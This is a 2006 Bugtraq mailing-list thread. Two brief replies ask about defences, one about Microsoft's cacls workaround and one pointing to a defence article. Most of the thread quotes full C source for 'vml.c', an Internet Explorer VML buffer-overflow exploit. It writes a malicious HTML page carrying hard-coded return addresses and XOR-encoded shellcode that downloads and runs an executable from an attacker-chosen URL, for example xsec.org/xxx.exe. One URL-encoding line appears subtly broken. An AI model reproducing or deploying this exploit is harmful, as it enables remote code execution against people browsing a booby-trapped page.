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Date: Thu, 21 Sep 2006 10:53:00 +0100
From: "Ben Hall" <ben2004uk@...glemail.com>
To: "Aras Russ Memisyazici" <arasm@...edu>
Cc: nop <nop@...c.org>, bugtraq@...urityfocus.com
Subject: Re: vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
Aras Russ Memisyazici,
Just saw a link to this Article on "How To Defend Against IE's VML Bug"
http://www.techweb.com/showArticle.jhtml?articleID=193004039
In case your interested still...
On 20/09/06, Aras Russ Memisyazici <arasm@...edu> wrote:
> Does the Microsoft suggested workaround, using cacls to remove the
> "Everyone" group from the dll thwart this particular exploit?
>
> Aras "Russ" Memisyazici
>
> Outreach Information Services
> arasm@...edu
>
> Hanlon's Razor /prov./ A corollary of Finagle's Law, similar to Occam's
> Razor, that reads "Never attribute to malice that which can be adequately
> explained by stupidity."
>
> -----Original Message-----
> From: nop [mailto:nop@...c.org]
> Sent: Wednesday, September 20, 2006 2:03 PM
> To: bugtraq@...urityfocus.com
> Subject: vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
>
> /*
> *-----------------------------------------------------------------------
> *
> * vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
> * !!! 0day !!! Public Version !!!
> *
> * Copyright (C) 2006 XSec All Rights Reserved.
> *
> * Author : nop
> * : nop#xsec.org
> * : http://www.xsec.org
> * :
> * Tested : Windows 2000 Server CN
> * : + Internet Explorer 6.0 SP1
> * :
> * Complie : cl vml.c
> * :
> * Usage : d:\>vml
> * :
> * : Usage: vml <URL> [htmlfile]
> * :
> * : d:\>vml http://xsec.org/xxx.exe xxx.htm
> * :
> *
> *------------------------------------------------------------------------
> */
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <windows.h>
>
> FILE *fp = NULL;
> char *file = "xsec.htm";
> char *url = NULL;
>
> #define NOPSIZE 260
> #define MAXURL 60
>
> //DWORD ret = 0x7Ffa4512; // call esp for CN
> DWORD ret = 0x7800CCDD; // call esp for All win2k
>
> // Search Shellcode
> unsigned char dc[] =
> "\x8B\xDC\xBE\x6F\x6F\x6F\x70\x4E\xBF\x6F\x30\x30\x70\x4F\x43\x39"
> "\x3B\x75\xFB\x4B\x80\x33\xEE\x39\x73\xFC\x75\xF7\xFF\xD3";
>
> // Shellcode Start
> unsigned char dcstart[] =
> "noop";
>
> // Download Exec Shellcode XOR with 0xee
> unsigned char sc[] =
> "\x07\x4B\xEE\xEE\xEE\xB1\x8A\x4F\xDE\xEE\xEE\xEE\x65\xAE\xE2\x65"
> "\x9E\xF2\x43\x65\x86\xE6\x65\x19\x84\xEA\xB7\x06\xAB\xEE\xEE\xEE"
> "\x0C\x17\x86\x81\x80\xEE\xEE\x86\x9B\x9C\x82\x83\xBA\x11\xF8\x7B"
> "\x06\xDE\xEE\xEE\xEE\x6D\x02\xCE\x65\x32\x84\xCE\xBD\x11\xB8\xEA"
> "\x29\xEA\xED\xB2\x8F\xC0\x8B\x29\xAA\xED\xEA\x96\x8B\xEE\xEE\xDD"
> "\x2E\xBE\xBE\xBD\xB9\xBE\x11\xB8\xFE\x65\x32\xBE\xBD\x11\xB8\xE6"
> "\x84\xEF\x11\xB8\xE2\xBF\xB8\x65\x9B\xD2\x65\x9A\xC0\x96\xED\x1B"
> "\xB8\x65\x98\xCE\xED\x1B\xDD\x27\xA7\xAF\x43\xED\x2B\xDD\x35\xE1"
> "\x50\xFE\xD4\x38\x9A\xE6\x2F\x25\xE3\xED\x34\xAE\x05\x1F\xD5\xF1"
> "\x9B\x09\xB0\x65\xB0\xCA\xED\x33\x88\x65\xE2\xA5\x65\xB0\xF2\xED"
> "\x33\x65\xEA\x65\xED\x2B\x45\xB0\xB7\x2D\x06\xB8\x11\x11\x11\x60"
> "\xA0\xE0\x02\x2F\x97\x0B\x56\x76\x10\x64\xE0\x90\x36\x0C\x9D\xD8"
> "\xF4\xC1\x9E";
>
> // Shellcode End
> unsigned char dcend[] =
> "n00p";
>
> // HTML Header
> char * header =
> "<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
> "<head>\n"
> "<title>XSec.org</title>\n"
> "<style>\n"
> "v\\:* { behavior: url(#default#VML); }\n"
> "</style>\n"
> "</head>\n"
> "<body>\n"
> "<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
> "<v:fill method=\"";
>
> char * footer =
> "\"/>\n"
> "</v:rect>\n"
> "</body>\n"
> "</html>\n"
> ;
>
> // convert string to NCR
> void convert2ncr(unsigned char * buf, int size)
> {
> int i=0;
> unsigned int ncr = 0;
>
> for(i=0; i<size; i+=2)
> {
> ncr = (buf[i+1] << 8) + buf[i];
>
> fprintf(fp, "&#%d;", ncr);
> }
> }
>
> void main(int argc, char **argv)
> {
> unsigned char buf[1024] = {0};
> unsigned char burl[255] = {0};
> int sc_len = 0;
> int psize = 0;
> int i = 0;
>
> unsigned int nop = 0x4141;
> DWORD jmp = 0xeb06eb06;
>
> if (argc < 2)
> {
> printf("Windows VML Download Exec Exploit\n");
> printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n");
> //printf("!!! 0Day !!! Please Keep Private!!!\n");
> printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
> exit(1);
> }
>
> url = argv[1];
> if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) <
> 10 || strlen(url) > MAXURL)
> {
> printf("[-] Invalid url. Must start with 'http://','ftp://' and < %d
> bytes.\n", MAXURL);
> return;
> }
>
> printf("[+] download url:%s\n", url);
>
> if(argc >=3) file = argv[2];
>
> printf("[+] exploit file:%s\n", file);
>
> fp = fopen(file, "w+b");
> //fp = fopen(file, "w");
> if(!fp)
> {
> printf("[-] Open file error!\n");
> return;
> }
>
> // print html header
> fprintf(fp, "%s", header);
> fflush(fp);
>
> for(i=0; i<NOPSIZE; i++)
> {
> //fprintf(fp, "&#%d;", nop);
> fprintf(fp, "A");
> }
>
> fflush(fp);
>
> // print shellcode
> memset(buf, 0x90, sizeof(buf));
> //memset(buf, 0x90, NOPSIZE*2);
>
> memcpy(buf, &ret, 4);
> psize = 4+8+0x10;
>
> memcpy(buf+psize, dc, sizeof(dc)-1);
> psize += sizeof(dc)-1;
>
> memcpy(buf+psize, dcstart, 4);
> psize += 4;
>
> sc_len = sizeof(sc)-1;
> memcpy(buf+psize, sc, sc_len);
> psize += sc_len;
>
>
> // print URL
> memset(burl, 0, sizeof(burl));
> strncpy(burl, url, 60);
>
> for(i=0; i<strlen(url)+1; i++)
> {
> burl[i] = buf[i] ^ 0xee;
> }
>
> memcpy(buf+psize, burl, strlen(url)+1);
> psize += strlen(url)+1;
>
> memcpy(buf+psize, dcend, 4);
> psize += 4;
>
>
> // print NCR
> convert2ncr(buf, psize);
>
>
>
> printf("[+] buff size %d bytes\n", psize);
>
> // print html footer
> fprintf(fp, "%s", footer);
> fflush(fp);
>
> printf("[+] exploit write to %s success!\n", file);
> }
>
>
>
>
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